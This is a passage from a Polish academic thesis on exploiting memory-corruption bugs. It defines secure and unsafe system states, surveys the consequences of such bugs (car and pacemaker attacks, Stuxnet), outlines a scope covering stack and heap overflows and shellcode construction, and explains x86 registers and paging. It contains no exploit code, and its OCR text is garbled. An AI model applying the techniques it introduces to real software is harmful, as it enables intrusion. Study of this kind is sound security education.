danym systemie komputerowym, a czym juz nie jest. Granica rozrdzniajgca te stany
wydaje si¢ by¢ specyficzna dla danego systemu i zastosowania, kontekstu w jakim
pracuje.

o, Mpyslenie zyczeniowe nie przekiada sie automatycznie na formalne ograniczenia”. [15]
Przypadek w ktorym mozliwe bedzie zdefiniowanie znaczenia pojgcia bezpiecznego
stanu, nie oznacza od razu, ze uda si¢ uzyska¢ porozumienie w kwestii tego jakie dane
wejsciowe program bedzie przetwarzat i jak to si¢ bedzie przektadato na mozliwe stany
systemu oraz zbidr przej$¢. Niemozliwym jest przewidzenie wszystkich stanow i przejsé¢
odpowiednio zlozonego systemu, a zatem niemozliwe jest zdefiniowanie i przewidzenie
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wszystkich stanow w jakim ten system si¢ znajdzie. Nie ma mozliwo$ci przetozenia tych
przejs¢ oraz stanow na jednolity model matematyczny.

e, Zachowanie oprogramowania nie poddaje si¢ szczegélowej analizie” [15]
Poprzez analizg statyczng danego systemu nie jesteSmy w stanie udowodni¢, ze system
zawsze bedzie si¢ zachowywat zgodnie z pierwotna specyfikacja. Zachowania systemu
mogg by¢ zalezne od §rodowiska w jakim on funkcjonuje, od czynnikoOw zewnetrznych,
a takze od zmieniajacej si¢ natury danych wejsciowych.

Wprowadzono zatem przyktadows, do$¢ stabilng definicje, wynikajaca z aksjomatow Bell-La
Padula, tylko po to, by od razu poddac ja dyskusji, a to wszystko po to by zrozumie¢, ze istota
bezpieczenstwa systemu komputerowego jest trudna do zgrabnego ujecia i sformutowania. Taka tez
natur¢ wykazuja btedy wykorzystujace naruszenia pamigci operacyjnej. Z jednej strony mozliwym
jest okreslenie, ze budowany system, oprogramowanie, bedzie bezpieczne tylko wtedy, kiedy bedzie
wykonywato doktadnie takie przejscia, w doktadnie takie stany, jakich oczekiwac¢ beda architekci
tego programu. Z drugiej za$, historia atakow komputerowych pokazuje, ze czgsto zabezpieczenia
ktore byly tworzone — stuzyly tylko i wylacznie jako dodatkowy punkt wyjscia dla nowych, bardziej
skomplikowanych atakéw. Inzynier projektujac mechanizm obronny, sktonny stwierdzi¢, ze rozumie
zagrozenia i jest w stanie zdefiniowa¢ mozliwy schemat maszyny stanow skonczonych — szybko
utwierdza si¢ w przekonaniu, ze pojawiaja si¢ przypadki wejsciowe wykraczajgce poza pierwotne
ograniczenia formalne jego maszyny stanéw. Nie mniej jednak, pozostanmy przy tej definicji, jako
iz jest ona stosunkowo dobrym kompromisem miedzy bardziej doprecyzowanymi i
skonkretyzowanymi ujgciami. Korzystajac z definicji opierajacej swoje podstawy na maszynie
stanéw skonczonych, mozna sprobowa¢ zdefiniowac, jaki stan uznany zostanie za niebezpieczny,
oraz jakie przejscia moga do niego doprowadzic.

W kontekScie rozwazan bezpieczenstwa programoéw komputerowych, a doktadniej
bezpieczenstwa wykorzystania pamieci operacyjnej, intuicyjnym bedzie, ze przejsciem do stanu
niebezpiecznego bedzie naduzycie funkcjonalnosci programu. Jesli dany program, bedac w stanie
bezpiecznym, np. oczekujac na wejscie uzytkownika, przetwarzajac plik wejsciowy, lub pobierajac
dane z sieci internetowej, ulegnie przejsciu w stan niebezpieczny — to powiemy o nim, ze zostat
zaatakowany. Funkcja przej$cia do tego stanu jest procesem, w wyniku ktorego program na skutek
dzialania zewnetrznego adwersarza (podajacego np. odpowiednio spreparowane dane wejSciowe)
przechodzi w stan niebezpieczny, czyli taki, w ktorym system zachowuje si¢ niezgodnie z pierwotng
specyfikacja i oczekiwaniami. Funkcja przejscia moze by¢ takie przetworzenie danych wejsciowych
przez program, ktore doprowadzi do naduzycia podatnosci bezpieczenstwa w tym programie, np.
przepetienia bufora. W stanie niebezpiecznym za$, adwersarz ma mozliwo$¢ naduzycia stanu
niebezpiecznego w celu kompromitacji bezpieczenstwa systemu/oprogramowania. Z jakimi zatem
stanami niebezpiecznymi mozna mie¢ do czynienia w typowym oprogramowaniu? Innymi stowy, co
moze by¢ konsekwencja naduzycia btedu wykorzystania pamigci?

e Wiamanie do systemu — poprzez wykorzystanie btedu, zewngtrzny adwersarz ma mozliwos¢
dostarcza¢ do tego systemu swoje instrukcje, ktore nastepnie beda przez system
wykonywane w kontekscie uzytkownika, w ktorym program byl uruchomiony, z jego
prawami. Atakujacy mogac wykona¢ dowolne instrukcje z ramienia konta uzytkownika
mowi, ze wlamat si¢ na jego konto, lub tez wtamat si¢ do systemu w kontekscie sesji jego
sesji. Sytuacja taka otwiera mozliwos¢ naduzycia przywilejow, tozsamosci, oraz danych w
jakich posiadaniu jest uzytkownik w celu albo korzysci finansowej, albo kontynuowania
ataku 1 ekspansji na inne systemy. Dzialajacym na wyobrazni¢ przyktadem
niebezpieczenstwa zwigzanego z przejeciem kontroli nad systemem mogg by¢ ataki na
oprogramowanie sterujace samochodami jak np. pokazano w przypadku Jeepa Cherokee z
roku 2015 [16]. Para badaczy pokazata, jak zdalnie byta w stanie w pelni przeja¢ kontrolg
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nad uruchomionym i bedacym w trasie jeepie. Wylaczenie silnika w kluczowym momencie,
lub zjechanie z trasy w odpowiednim miejscu moze spowodowac natychmiastowa $mierc
Kierowcy 1 pasazerow, a wszystko na skutek przejecia kontroli wynikajacego z
wprowadzenia systemu sterujacego pracg samochodu w stan niebezpieczny.

Osadzenie szczepu infekujacego innych uzytkownikow — bedac w kontekscie aplikacji
WWW, jesli atakujacy zdota naduzy¢ blad wykorzystania pamieci w oprogramowaniu
serwera udostgpniajacego dang aplikacje swiatu, bedzie mogt osadzi¢ swojg wlasna tresc,
ktéra bedzie udostepniana odwiedzajacym klientom na réwni z pierwotng aplikacja. Dzieki
wykorzystaniu specjalnie spreparowanego kodu, atakujacy korzystajac z techniki drive-by-
download bedzie w stanie osadzi¢ tzw. Exploit-kit, ktory po uruchomieniu w kontekscie
odwiedzajacego klienta, bedzie mogt zainfekowaé go oprogramowaniem wirusowym.
Podniesienie przywilejow — w Sytuacji, w ktorej atakujacemu udaje si¢ wprowadzié
oprogramowanie w stan niebezpieczny, np. wtyczke obslugujaca multimedialne pliki w
przegladarkach, bedzie on w stanie korzystajac z tych przywilejow co oprogramowanie w
ktorego kontekscie si¢ znajduje — wykonywac okreslone instrukcje. Jednakze w sytuacji, w
ktérej naduzyte oprogramowanie nie bedzie miato wystarczajacych przywilejow, aby
umozliwi¢ atakujacemu wykonania szerszej palety dziatan w pozyskanym systemie, wciaz
mozliwym jest wykonanie kodu majacego na celu tym razem naruszenie maszyny stanowej
systemu operacyjnego. Program obstugujacy pliki multimedialne, ktorego atakujacy
wprowadzit w stan niebezpieczny jest pierwszym krokiem. W drugim kroku celem
atakujacego bedzie system operacyjny, ktorego tym razem atakujacy bedzie chciat
wprowadzi¢ w stan niebezpieczny. W wyniku odpowiedniego przejécia, stanem
niebezpiecznym bedzie sytuacja, w ktorej atakujacy uzyska wieksze przywileje niz
dotychczasowo miat dostepne.

Destabilizacja pracy systemu — atakujacy zamiast probowaé wykorzysta¢ btad w celu
uzyskania dostepu do danego systemu, moze probowac jedynie doprowadzi¢ do
destabilizacji jego pracy. Atakiem omawianym tutaj jest DoS (Denial of Service). Jest to
sytuacja, w ktorej system w wyniku btedu lub uruchomienia odpowiedniej funkcji —
odmawia dalsze $wiadczenie ustug (system moze zostaé wylaczony, moze si¢ zawiesic,
moze ulec zamrozeniu — deadlock, moze doswiadczy¢ wyczerpania dostepnych zasobdéw
niezbednych do jego funkcjonowania). Jesli groznym wydaje si¢ sytuacja, w ktorej
atakujacemu udaje si¢ destabilizowa¢ prace waznego serwera internetowego, jak np.
gldwnego serwera DNS w firmie, uniemozliwiajgc wygodne korzystanie z sieci internetowe;j
pracownikom catej firmy — to pomys$lmy co atakujacy moze osiaggna¢ wywotujac odmowe
ustugi w bezprzewodowym rozruszniku serca. [17] Badacze w wymienionym Zrodle
wykazali, ze mozliwym staja si¢ ataki za pomoca modutu radiowego skierowane
bezposrednio w interfejs kontrolujacy rozrusznik serca. Oprogramowanie sterujace takim
rozrusznikiem rowniez podatne jest na nieprzewidziane przejscia, czego efektem moze by¢
stan niebezpieczny tym razem nie tylko w sferze komputerowej, ale i ludzkiego zycia.

Podsumowujac, niebezpiecznym stanem systemu jest sytuacja w ktorej atakujacy na skutek
wykorzystania przejscia, ktorego pierwotnie architekt systemu nie przewidzial, moze wykonaé
niekontrolowane akcje. Btedy w oprogramowaniu, skutkujace naduzycie wykorzystania pamigci,
prowadzi¢ moga nie tylko do wtaman komputerowych, kradziezy informacji, szpiegostwa — jak w
przypadku wlaman na telefony komorkowe, ale takze sytuacji zagrozenia zycia — jak w przypadku
atakow na oprogramowanie sterujace pojazdami samochodowymi (lub samolotowymi), sterujace
praca elektrowni lub wiréwek wzbogacania uranu — jak w przypadku wirusa Stuxnet wspomnianego
we wstepie tego rozdziatu, ale rowniez do odmowy ustugi szczegdlnie wrazliwych komponentow
jakimi sg rozruszniki serca. Przyktady mozna by mnozy¢, cecha wspdlng tych wszystkich sg zas ataki
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na oprogramowanie oraz naruszenia pamie¢ci. Zaczynajac od przepetnienia bufora, skonczywszy na
morderstwie.

1.3.Cel i zakres pracy

Celem niniejszej pracy jest omowienie technik naduzywania btedéw w wykorzystaniu pamieci,
co prowadzi¢ moze do udanego ataku na oprogramowanie. Poprzez naduzycie bigdu rozumieé
bedziemy sytuacje, w ktorej atakowany system wprowadzany bedzie w stan niebezpieczny,
wywolywane bedzie takie przejécie systemu, ktore nie bylo pierwotnie przewidziane przez jego
architektow. Stanem niebezpiecznym bedzie sytuacja, w ktorej uzyskana zostanie mozliwosé
wykonania kontrolowanego przez atakujacego kodu. Poprzez btad w wykorzystaniu pamieci zas,
rozumie¢ nalezy sytuacje, w ktorej program ktory korzysta z mechanizmow dostepu do pamieci
operacyjnej, robi to w sposob niebezpieczny lub niekontrolowany.

Zakres samej pracy obejmowac bedzie:

e Omowienie podstaw teoretycznych niezbednych w celu zrozumienia dziedziny problemu
atakow na oprogramowanie. W tym opis architektury komputera, koncepcji zarzadzania
pamigcig przez system operacyjny, istoty procesu w systemach operacyjnych.

e Definicje, klasyfikacje i omowienie bledow naruszen stosu programu. Oméwione w
ramach tej czesci pracy beda biedy przepelien bufora na stosie, pokazane zostana
przyktady prostych oraz bardziej ztozonych podatnosci. W ramach tej czgsci zostanie
wprowadzone rowniez pojecie shellcode 'u 1 opisane zostang techniki jego budowy pod
systemem GNU/Linux i MS Windows.

e Omowienie bledéw naruszen sterty programu, co niejako bedzie uzupelnieniem
poprzedniej czesci pracy. Najpierw wyprowadzona zostanie charakterystyka algorytmu
alokacji dimalloc / ptmalloc, wraz z kompletnym opisem niuansow zarzadzania pamigcia
sterty. Nastepnie przedstawiona zostanie podstawowa technika naduzywania tych
mechanizméw, ktora jednoczesnie stanowi¢ bedzie wstep do catej klasy bardziej
zaawansowanych podatno$ci naruszen sterty.

W kolejnej czgsci pracy przejde do omowienia podstaw teoretycznych niezbednych do
zrozumienia koncepcji i mechaniki dziatania opisywanych w tej pracy atakow. Rozpoczng od
omoOwienia architektury komputerowej, koncepcji wywotan funkcji, regiondéw pamiegci, stosu
programu, po to by przej$¢ do ogdlnego scharakteryzowania pojgcia procesu, zakonczywszy na
zagadnieniach zarzadzania pamigcia.
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2. Podstawy teoretyczne

Zanim mozna bedzie przejs¢ do omodwienia podstawowych technik naduzy¢ bledow
wykorzystania pamieci, oraz opisu sposobow zapobiegania takim atakom, nalezy zapoznaé si¢ z
podstawami teoretycznymi omawiajacymi mechanizmy, ktore bedg naduzywane. W celu analizy
bezpieczenstwa danego oprogramowania natywnego, niezbedna jest specjalistyczna wiedza z
zakresu inzynierii oprogramowania — przekladajaca si¢ na rozumienie uzywanych przez
programistow konstrukcji tworzenia kodu, a takze typowych wzorcdéw jakie za nimi stoja. Ponadto,
analizujac bezpieczenstwo danego programu, zawsze bgdziemy musieli mie¢ na uwadze to w jaki
sposob dany program komunikuje si¢ z systemem operacyjnym, w ktorym jest uruchomiony. Ma to
zwigzek miedzy innymi z oferowanym przez systemem sposobem organizacji pamieci glownej oraz
metodami alokacji i zwalniania tej pamigci. Poprzez doglebne zrozumienie podstaw architektury
komputera oraz mechanizmow zarzadzajacych procesami uruchomionymi w systemie operacyjnym,
bedziemy w stanie lepiej zrozumie¢ fundamentalne aspekty opisywanych w tej pracy technik ataku.

2.1. Architektura komputera

Architekturg komputera nazywac bedziemy sposob organizacji urzadzen sktadajacych sie na twor
nazywany komputerem. Mowa tutaj o ,,jednostkach operacyjnych i ich potgczeniach, ktore stanowiq
realizacje specyfikacji typu architektury” [18]. Przyktadem atrybutow takiej architektury moga by¢
specyficzne dla niej listy rozkazow implementujacych dane funkcje, liczba bitow wykorzystywanych
do reprezentacji podstawowego typu danych, mechanizmy obslugujace wejscie oraz wyjscie
komputera (jak urzadzenia peryferyjne pobierajace sygnaly kontrolne uzytkownika i generujace
wyjs$cie na urzadzenia prezentacji — tj. ekran), ale rowniez metody adresowania pamieci.

Komputery osobiste (PC), telefony komorkowe, tablety, systemy wbudowane, mikrokomputery
— wszystkie te urzadzenia elektroniczne opisane sg dang architekturg komputerowa, ktora wyposaza
je w jednostki centralne (CPU — Central Processing Unit), zajmujace si¢ przeprowadzaniem obliczen
arytmetyczno-logicznych oraz sterowaniem przebiegu kodu napisanego pod te urzadzenia. Jedng z
najczesciej spotykanych architektur jest x86, ktorej nazwa pochodzi od procesora Intel 8086. Ow
procesor wprowadzit zestaw instrukcji CISC (Complex Instruction Set Computer), ktore udostepnity
mozliwosci dostepu do szerokiej puli zewngtrznych urzadzen i komponentow systemowych,
programowanie dostepu do pamigci operacyjnej, ale takze rozkazy implementujace podstawowe
mechanizmy bezpieczenstwa. Jednostka centralna implementowana jest przez uktad scalony
nazywany procesorem. Do zadan procesora nalezy przetwarzanie rozkazoéw pisanych pod jego
architekturg, a takze obstuga urzadzen peryferyjnych i dost¢pu do pamigci. Nowoczesne procesory
wykonuja duzo wigcej zroznicowan zadan, jak np. implementujg instrukcje stuzace do szyfrowania
danych (AES Instruction Set), wspomagania mechanizmu wirtualizacji sprzetu (VM Instruction Set)
lub tez wspomagaja przetwarzanie multimediow i obliczen graficznych (wszelakie rozszerzenia
stuzace do wykonywania dzialan na wielu wektorach liczb zmiennoprzecinkowych w sposob
atomowy / jednoczesny i niepodzielny — przyktadami sg SSE, AVX, MMX). Rysunek 2.1.
przedstawia struktur¢ przyktadowej jednostki centralnej. Architektura x86 charakteryzuje si¢ 32-
bitowa magistralg adresowa, pozwalajaca zaadresowaé do 232 — 1 (4GB) bajtow danych w pamieci
operacyjnej komputera. W tej pracy skoncentruje sie na zagrozeniach dotyczacych naduzy¢ btedow
wykorzystania pamieci w oprogramowaniu pisanym stricte pod architektury x86.
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Jednostka centralna

arytmetyczno-

Rysunek 2.3. Struktura jednostki centralnej wchodzqcej w sklad danej architektury komputera. Zrédto: [18]

Architektura komputerowa specyfikuje rodzaj pamigeci, albo tez szerokos¢ szyny adresowej, jaka
bedzie stosowana w jej ramach. Pamig¢ komputera stanowi magazyn przechowywania danych
zardwno tymczasowych, potrzebnych do prawidlowego wykonania si¢ programu, jak i danych
niezbednych do przechowywania przez dluzszy okres czasu. W pierwszym przypadku uzywac
bedziemy pamigci gtownej/wewnetrznej, bedaca pamigcia tymczasows, ulotna, ktdra charakteryzuje
si¢ najszybszym czasem dostepu. Pamig¢ gldéwna stanowi magazyn przechowywania instrukcji i
danych programéw, ktéore beda wykonywane przez jednostke centralng, stad koniecznosc
zapewniania najszybszego mozliwego dostepu do tych danych. Drugim typem pamieci bedzie
pamie¢ zewnetrzna, ktora ,skfadac sie moze z urzqdzen peryferyjnych takich jak pamieci dyskowe,
tasmowe ktore osiggalne bedq dla procesora poprzez sterowniki wejscia i wyjscia” [18]. Pamiegc¢
gléwna komputera stosowa¢ bedzie swobodny sposéb dostgpu do przechowywanych danych. Przez
swobodny sposéb dostepu (RAM, Random Access Memory) rozumie¢ nalezy taki typ pamieci, ktora
wyposaza kazda adresowalng komodrke w unikatowy, fizycznie wbudowany mechanizm
adresowania. Czas dostepu w przypadku takiej pamigci nie bedzie zalezny od poprzednich operacji
odczytu, oraz bez wzgledu na jej fizyczne potozenie w kosciach pamieci — wszystko to w czasie
statym. W ramach pamigci gldéwnej jednostka centralna postuguje si¢ pojeciem adresu, wskazujacego
konkretng lokalizacje danej komorki. Dostep do adresu pamieci gtownej z punktu widzenia
programisty stanowi odrebny typ danych nazywany wskaznikiem do zmiennej (ang. Pointer). Typ
taki stosowany jest do przechowywania adresow lokalizacji pamigci, ktore shuzg do odwotywania si¢
do innych informacji [19].

Omowione zostaly zatem pobieznie dwa najwazniejsze z punktu widzenia tej pracy atrybuty
architektury komputera — jednostke centralng i pamie¢ gtdéwna. Przejde teraz do precyzyjniejszego
opisu kazdej z nich.
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Architektura x86 moze operowa¢ w dwoch trybach, rzeczywistym i chronionym [20]. Tryb
rzeczywisty jest stanem, w jakim procesor znajdzie si¢, tuz po dostarczeniu mu mocy na skutek
wlagczenia komputera. Tryb ten wspiera wylacznie 16-to bitowy zestaw instrukcji i w obecnych
czasach nie jest wykorzystywany w typowych komputerach PC (poza etapem rozruchu komputera).
Drugim trybem jest tryb chroniony, wspierajacy mechanizmy wirtualnej pamigci, stronnicowania,
separacji regiondOw pamieci pomiedzy zadaniami, a takze mechanizmy ochrony dostepu do
kluczowych interfejsow komputera jak np. przerwan sprzgtowych czy dostgpu do portow 1/0. Jest to
stan w ktorym pracuje typowy procesor podczas wykonywania kodu systemu operacyjnego.
Architektura x86 ponadto dostarcza koncepcje separacji przywilejow poprzez abstrakcje ring levels
(pierscieni) — jak pokazano na rysunku 2.2. Procesory wspieraja do czterech pozioméw separacji
przywilejow (w ramach trybu chronionego), numerujac od 0 do 3. Poziomy 1 i 2 nie s3
wykorzystywane w nowoczesnych systemach, jednakze poziomy 0 i 3 znajduja szczegdlne
zastosowanie. Poziom 0 jest najwyzszym trybem uprzywilejowania i pozwala na modyfikacje
wszystkich cech systemu w tym dostep do portow, przerwan, zmiang organizacji obstugi wejécia i
wyjscia. W trybie tym operuje jadro systemu operacyjnego. Poziom Ring3 jest najnizszym trybem
uprzywilejowania i1 pozwala jedynie na odczyt i zapis podzbioru ustawien systemowych. Stad tryb
ten wykorzystywany jest do uruchamiania aplikacji poziomu uzytkownika (User-mode).

Protection Rings

Oparating
Systam -
Kameal

Operating System
Services (Device -
Drivers, Etc.)

Applications

Highest
0 1

Privilege Levels

Rysunek 4.2 Koncepcja pierscieni przywilejow w procesorach architektury x86. Zrédio: [20]

Jednostka centralna komputera jaka jest procesor, wyposazona jest we wilasng pamiec¢, o
wzglednie nieduzym rozmiarze. Fragmenty takiej pamieci nazywane sg rejestrami i stanowig
mechanizm umozliwiajacy procesorowi wykonywanie instrukcji, odwolywanie si¢ pod kolejne
instrukcje, a takze przechowywanie wyniku dziatania poprzednio wykonanych obliczen na cele
przysztych. Podczas operowania w trybie chronionym, architektura x86 udostepnia osiem 32-
bitowych rejestrow ogolnego zastosowania (ang. General-Purpose Registers, GPRs): EAX, EBX,
ECX, EDX, EDI, ESI, EBP, ESP. Niektore z nich mogg by¢ dalej podzielone na 8- i 16-
bitowe rejestry. Rejestr przechowujacy adres nastepnej instrukcji do wykonania oznaczony jest jako
EIP (Extended Instruction Pointer). Rysunek 2.3 pokazuje rozbicie rejestrow na mniejsze.
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Rysunek 2.3. Prezentacja rejestrow ogdlnego przeznaczenia i sposobu ich podzialu na podrejestry. Zrédlo:

[21]

Rejestry AH, AL, BH, BL, CH, CL, DH, DL s3zdolne do przechowania o$miu bitow
informacji (a wigc sg jednobajtowymi rejestrami). Z kolei rejestry AX, BX, CX, DX, BP, SP,
DI, SI, IP, FLAGS - zdolne sa do przechowywania szesnastu bitow (czyli dwdch bajtow na
architekturach x86).

o EAX - Accumulator — Wykorzystywany w operacjach arytmetyczno-logicznych.

e EBX — Base register — Rejestr stosowany podczas adresowania pamigci.

e ECX — Counter register — W wielu instrukcjach wykorzystywany jako licznik ilo$ci
powtorzen wykonania danej operacji.

e EDX — Data register — Rejestr dostgpu do danych, wykorzystywany szczegdlnie przy
operacjach mnozenia i dzielenia (jako rejestr przechowujacy goérne 32 bity wyniku
mnozenia, lub reszt¢ z dzielenia). Stuzy takze do wysytania i odbierania danych z portow.

o ESI — Source Index — ,, Rejestr indeksujgcy pamieé oraz wskazujgcy obszar z ktérego
przesyla sie dane” [22]

e EDI — Destination Index — ,, Rejestr indeksujgcy pamieé¢ oraz wskazujgcy obszar do
ktorego przesylane bedq dane” [22]

e ESP - Stack Pointer — Wskaznik szczytu stosu watku programu

o EBP — Base Pointer — Rejestr stosowany podczas formutowania ramki funkcji na stosie
1 odwotywania si¢ do niej.

Rejestr EFLAGS stosowany jest do przechowywania rezultatu operacji arytmetycznych (jak na
przyktad wystapienie saturacji typu liczbowego, przeniesienia, parzystos$ci, wyzerowania wyniku) i
innych stanéw wykonania.
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X Virtual Interrupt Pending (VIP)

X Virtual Interrupt Flag (VIF)

X Alignment Check (AC)
Virtual-8086 Mode (VM)
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Overflow Flag (OF)
Direction Flag (DF}
Interrupt Enable Flag (IF)
Trap Flag (TF)
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Indicates a Status Flag
Indicates a Control Flag
Indicates a System Flag

Reserved bit positions. DO NOT USE.

Always set to values previously read.

Rysunek 2.4 Struktura rejestru EFLAGS w architekturze x86. Zrédlo: [20]

Rysunek 2.4. przedstawia rozbicie rejestru EFLAGS na poszczegélne bity z wyrdznieniem ich
pozycji i przeznaczenia. Najwazniejszymi flagami beda:

Flaga przeniesienia — CF — Carry Flag — gdy ustawiona, oznacza to ze w wyniku
poprzedniej operacji arytmetycznej wystapito przeniesienie/pozyczka

Flaga parzysto$ci — PF — Parity Flag — gdy ustawiona, oznacza to ze najmniej znaczacy
bajt wyniku ostatniej operacji arytmetycznej miat parzysta ilo$¢ bitow jedynek

Flaga zerowa — ZF — Zero Flag — ustawiana gdy wynik poprzedniej operacji wyniost zero
Flaga znaku — SF — Sign Flag — zawiera znak wyniku ostatnio wykonywanej operacji
arytmetycznej

Flaga kierunku — DF — Direction Flag — okresla czy dane b¢da przesytane w kolejnosci
adreséw rosngcych czy malejacych podczas operacji przenoszenia danych przy pomocy
rejestrow ESI i EDI.

Flaga przepelienia — OF — Overflow Flag — znacznik nadmiaru, ustawiany w wyniku
wystgpienia przepelienia po wykonanej operacji arytmetyczne;j.

Majgc oméwiong jednostke centralng, przejde teraz do obszerniejszego oméwienia mechanizmu
zarzadzania pamigcig przez system operacyjny.

2.2. Zarzadzanie pamieciag komputera
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Procesory operujace w architekturze x86 wspieraja dwa tryby zarzadzania i ochrony pamigci:
segmentacje oraz stronnicowanie. Stronnicowanie jest mechanizmem opcjonalnym, jednakze
stosowanym obecnie we wszystkich nowoczesnych systemach komputerowych, na skutek jego
wsparcia dla trybu chronionego. Segmentacja to mechanizm wspierany przez tryb rzeczywisty
procesora i tak jak 6w tryb nie jest juz stosowany, tak samo ten mechanizm nie znajduje
zastosowania.

Systemy operacyjne sg oprogramowaniem zarzadzajacym zasobami komputera. Pamig¢ gtowna,
operacyjna — jest takim zasobem. W celu odpowiedniego zapewniania uruchamianym programom
swobody w alokacji i dealokacji obszaréw pamigci na wlasne cele, oraz zapewnienia separacji
przestrzeni adresowych pomiedzy procesami tak aby jeden proces nie mogt odczytywaé i
modyfikowa¢ pamieci drugiego — stosowane jest rozroéznienie na pami¢¢ fizyczna (a wigc dostgpne
zasoby pamieci RAM) oraz pamie¢ wirtualng. Ta druga jest pulg adresowa przydzielana osobno
kazdemu nowo tworzonemu procesowi. W przypadku architektur x86, na przyktadzie systemu
Windows, nowo tworzone procesy otrzymujga wirtualng przestrzen adresowa o wielkosci 4GB®, bez
wzgledu na to czy system ma dostep do takiej puli fizycznej pamigci czy nie. Dzigki ustaleniu statej
wielko$ci przestrzeni wirtualnej, procesy moga swobodnie tadowa¢ modutly/biblioteki, alokowaé
swoje zasoby, oraz swobodnie gospodarowaé pamigcia bez koniecznosci implementowania
wlasnych mini-mechanizméw do zarzadzania dostepna pula. Zadaniem systemu operacyjnego oraz
odpowiednich funkcji procesora — w tym stronnicowania — jest takie mapowanie adresow
wirtualnych w fizyczne, aby jednoczesnie pamigci fizycznej nie wyczerpa¢ do konca, a przy tym
podczas wysokiej utylizacji zasobow, opracowac strategie zwigkszenia dostepnej przestrzeni (np.
poprzez wirtualne rozszerzenie jej o plik wymiany - Swap file). W przypadku gdy mechanizm
stronnicowania jest wiaczony, liniowy adres odwolania si¢ do pamieci, ktoéry wygenerowany zostat
w instrukcji dla procesora po kompilacji programu do postaci binarnej, zostaje przetworzony przez
procesor. Ten, dysponujac np. 2GB pamigci operacyjnej RAM, dokonuje odwzorowania adresu
siggajacego do przestrzeni wirtualnej przy pomocy mechanizmu stronnicowania.

Adres liniowy, przy wlaczonym mechanizmie stronnicowania rozbijany jest na cze$ci:

Poczatkowy bit | Koncowy bit Opis
0 11 Przesuniecie w obrebie fizycznej strony pamieci
12 21 Indeks w tabeli stron (Page Table)
22 31 Indeks w katalogu stron (Page Directory).

Tabela 2.1 Struktura adresu liniowego przy wigczonym mechanizmie stronnicowania

Stosujgc takie rozbicie adresu liniowego na sekcje, uzyskujemy indeksy pozwalajace na
precyzyjne okreslenie do ktorej strony pamieci adres sie odwotuje. Strong pamieci nazywaé
bedziemy region o wielkosci domyslnie 4KB, oferujacy ciagla pule adresowa. Dolne dwanascie
bitoéw adresu daje mozliwo$é odwotania si¢ do pojedynczej komoérki w ramach 212 = 4096 bajtow
dostepnych w jednej stronie pamigci. Nastepnie kolejne 10 bitow pozwala na odwotanie si¢ do
jednego z 1024 indekséw w tabeli stron, ktora przechowuje adresy fizycznych stron pamigci. Kazda

6 W ramach tych 4GB przestrzeni adresowej dla faktycznej aplikacji dostepne jest 2GB, a pozostate 2GB
stanowi przestrzen na pamiec jgdra systemu operacyjnego. Tak jest bynajmniej przy domysinej konfiguracji
systemu operacyjnego MS Windows. W przypadku innej konfiguracji, mozliwym jest przydzielenie 3GB puli
adresowej procesom, zostawiajgc przy tym wytgcznie 1GB na przestrzen jadra — jak to ma miejsce w
systemach linuksowych.
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taka tabela stron przechowuje 1024 elementy tworzac tym samym zbior stron pamigci. Tabele
pamigci za$ zgrupowane sg w obrebie pojedynczego katalogu stron (Page Directory), ktory rowniez
ztozony jest z 1024 elementow przechowujacych adresy tabel stron. Wtasnie indeksem do
konkretnego katalogu stron jest gornych dziesie¢ bitdw adresu. Procesor podczas dokonywania
translacji adresu wirtualnego na fizyczny, najpierw pobiera adres rejestru bazowego katalogdw stron
(PDBR — Page Directory Base Register), ktory to adres przechowywany jest w czwartym rejestrze
kontrolnym procesora, zwanym CR3. Adres zawarty w tym rejestrze stanowi poczatek tablicy 1024
katalogdéw stron. Nastepnie pobierany jest indeks (na podstawie gornych dziesigciu bitow adres) w
obrebie tej tablicy katalogéw stron, spod tego indeksu pobierany jest adres konkretnego katalogu,
pozniej za$ na podstawie indeksu numeru tabeli stron - adres samej tabeli. Dalej procesor wykonuje
odwotanie si¢ pod element indeksowany numerem strony pamigci zawartym w bitach 12...21 adresu
liniowego. Taka strona pamieci, o danym indeksie wewnatrz tabeli stron — uzywana jest do
wyznaczenia ostatecznego adresu fizycznego, poprzez dodanie przesunigcia do poczatku strony
fizycznej, ktore to przesunigcie opisane jest na dolnych 12 bitach. Caty ten proces przedstawiony
zostat na rysunku 2.5.

Logical I_ Offset Address

Address Segment Selector I

Phyilcal Addrasi Spaca

Linear
Address hddress OuFFFFFFFFE
Segrment Descrptar tH 2 |u 137] 11 ] address GuFFFFFFFFE
Address OnFEFFFRFED

GOt .—L.I Dewctony Tabbe oot

Address OwFFFFFFFFC

Address OxFFFFEFFFE

L | Address OxFFFFFFFFA

M

12-bit ofiset ..."' Address OnFFRFFFFFY
o

10-bat offset Lott Address OxFFFFFFFFY
; .
10-bitaffset * address UxFFFFFFFFT
4
Tabde Entry Physical Address - :
Page Table K :
[ . .
Directory Entry —I 4KE Page L Address Dx00000000s
Page Directany - Address 0ul00000003

Address On000000002

Addness Gn000000001

Rysunek 2.5. Mechanizm stronnicowania i segmentacji. Zrédlo: [23]

W wyniku odwzorowania liniowego adresu wirtualnego w fizyczny adres, mozliwe jest
odwotanie si¢ do ramki (strony) pamigci w fizycznych kosciach RAMu, a ponadto proces (program)
ktory dokonuje tego odwotania nie musi si¢ martwic ilo$cig dostgpnej pamigci RAM w komputerze,
programista za$ nie musi kompilowa¢ programéw w wersjach dla réznych wielko$ci pamieci
komputerowej. Kazdy program uruchomiony w systemie operacyjnym ma wiasna warto$¢ rejestru
CR3, a wigc punktu poczatkowego mechanizmu translacji adresu. Dzigki temu, kazdy uruchomiony
program moze odwotywacé si¢ do innych struktur mapujacych i trafia¢ ostatecznie w inne regiony
pamigci fizycznej. Proces takiego odwotania wykonywany jest setki tysigcy razy na sekunde podczas
pracy procesora. Naturalnie, wystepuja pewne mechanizmy optymalizacji tego procesu (TLB),
jednakze opis tychze wykracza poza zakres tej pracy. Mechanizm stronnicowania poza oczywistg
zaletg separacji pamiegci fizycznej od wirtualnej dostepnej dla procesu dostarcza jeszcze jednej
bardzo waznej cechy, niezbednej do omowienia w celu zrozumienia dalszych konceptow. Cecha tg
sg atrybuty stron.
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Tryb chroniony procesora udostgpnia mechanizm separacji przestrzeni adresowej procesow,
dzieki czemu proces A nie jest w stanie odczytywac¢ i modyfikowaé pamigci procesu B. Gdyby
warunek ten nie byl speliony, podstawowe cechy bezpieczenstwa systemu — jak poufnosc,
niezaprzeczalno$¢, integralnos¢ nie byly by spetnione. Kolejnym jednak obostrzeniem w dostepie do
stron pamigci sg atrybuty ustawiane tymze. Z punktu widzenia ochrony pamigci, istniejg dwa gtowne
